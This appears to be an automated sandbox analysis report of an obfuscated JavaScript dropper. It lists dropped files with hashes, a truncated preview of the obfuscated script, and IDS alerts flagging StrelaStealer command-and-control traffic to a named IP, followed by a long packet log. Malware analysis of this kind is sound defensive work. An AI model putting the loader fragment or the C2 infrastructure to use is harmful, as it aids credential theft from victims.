C:\Users\user\AppData\Local\Temp\acrocef_low\a9e377f5-d5d5-4b23-8f99-8b722957d426.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19039), with CRLF line terminators
Entropy (8bit):	4.897418865564251
TrID:
File name:	11234261403012723904.js
File size:	22'475 bytes
MD5:	d6a689375be8005a381db0fd1e7d7334
SHA1:	8cb0fb8a48636784cb06d608f65b5ab61992609a
SHA256:	63457d25981efd6a9dcc99aec53a0d8f24ab3237c62cd4116be0ad2dbcebbfda
SHA512:	ecafdf25ead700e7d777982251433817ade4b5571e4ebcdcc2b5ef1dd84cd082411fb181a4a401f94565a2fbdb5579bf7064da4cc7bf68b6ffca0249bd8c5503
SSDEEP:	384:w48Za57486lTWAbWdlnlU4F20sym64RzZCgAJqvQlXI9jgmrBVlpqOwtAElxv0gR:Z5ldRLDzw+Z6AtddD1
TLSH:	F6A241E65E098E47CCF848A2E78D18CE9799046C05BC4B9D9C2F71E42B70BB461E947B
File Content Preview:	function kzbijd(){spkipcj=[1031,3079,5127,4103,2055,3072];var biknxj=this[timwjtjd+aarmjukwp+rfixhls+ubomvgs+waxdpvt+qtpri+zpxxcyc+xypak](this[lyzkikzm+zwpbkr+peqefodal+rfixhls+jztee+timwjtjd+xypak][lirnw+rfixhls+waxdpvt+aarmjukwp+xypak+waxdpvt+xulyyaqdp+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T05:45:10.483379+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T05:45:10.483379+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T05:45:13.286379+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:45:09.708333969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:09.713283062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:09.713368893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:09.716752052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:09.721590042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483269930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483287096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483298063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483378887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.483382940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483395100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483405113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483431101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.483441114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483447075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.483453035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483464003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483475924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.483489037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.483515978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.488171101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.526150942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.526176929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.526186943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.526355028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.526355028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.604075909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.604101896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.604113102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.604182005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.604195118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.604311943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.604453087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.604475975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.604504108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.604779959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.604821920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.604876041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605037928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605072975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605084896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605088949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.605113983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.605210066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605223894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605269909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.605905056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605916977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605928898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.605957031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.606039047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.606050968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.606089115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.606695890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.606743097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.612916946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.612965107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.612977028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.613008976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.646850109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.646868944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.646925926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.720408916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.720431089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.720557928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.801431894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801470041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801476955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801580906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801592112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801599026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801645041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801732063 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.801769972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801812887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801820993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.801824093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801886082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.801983118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.801994085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802005053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802053928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.802520037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802532911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802544117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802558899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.802584887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.802618027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802628994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802639961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802650928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.802680016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.802706003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.803250074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.803287029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.803298950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.803328991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.803414106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.803450108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.803452969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.803462029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.803498983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.803611994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.804146051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.804187059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.804194927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.804205894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.804234028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.804328918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.804341078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.804371119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.804409027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.804419994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.804466963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.805017948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805062056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805073977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805100918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.805208921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805219889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805252075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.805654049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805686951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805696011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.805697918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805732012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.805797100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805808067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.805836916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.874756098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.874775887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.874787092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.874917030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.875754118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.875777960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.875788927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.875811100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.875861883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.889182091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.934953928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.934973955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.934984922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.934989929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.934995890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935007095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935070038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935081959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935081959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935092926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935106993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935161114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935161114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935262918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935276031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935286999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935312033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935338020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935576916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935585976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935614109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935633898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935786963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935798883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935810089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935842991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935868025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935878992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935889006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935899973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935918093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.935936928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.935981035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.936151981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936172009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936182976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936193943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936206102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936222076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.936247110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.936574936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936614990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936626911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936630011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.936664104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.936719894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936820030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936830997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936841011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936851978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.936871052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.936902046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.937011957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937026978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937037945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937064886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.937089920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.937357903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937410116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937421083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937458038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.937511921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937565088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.937596083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937606096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937617064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937628984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937659025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.937680960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.937840939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937850952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937860966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937871933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.937901974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.937926054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.938045025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938323975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938349009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938364983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938384056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.938405991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.938488007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938498974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938508987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938544989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.938607931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938652992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.938661098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938672066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938683033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.938723087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.939922094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.939961910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.939970970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.939989090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.940009117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940013885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.940068007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940078974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940110922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.940170050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940181017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940192938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940222025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.940246105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.940308094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940318108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940330029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.940376043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.946177006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.958657980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.973762035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.973783970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.973793030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.973860979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.973860979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 05:45:10.973876953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 05:45:10.973891020 CET	80	49730	193.143.1.205	192.168.2.4
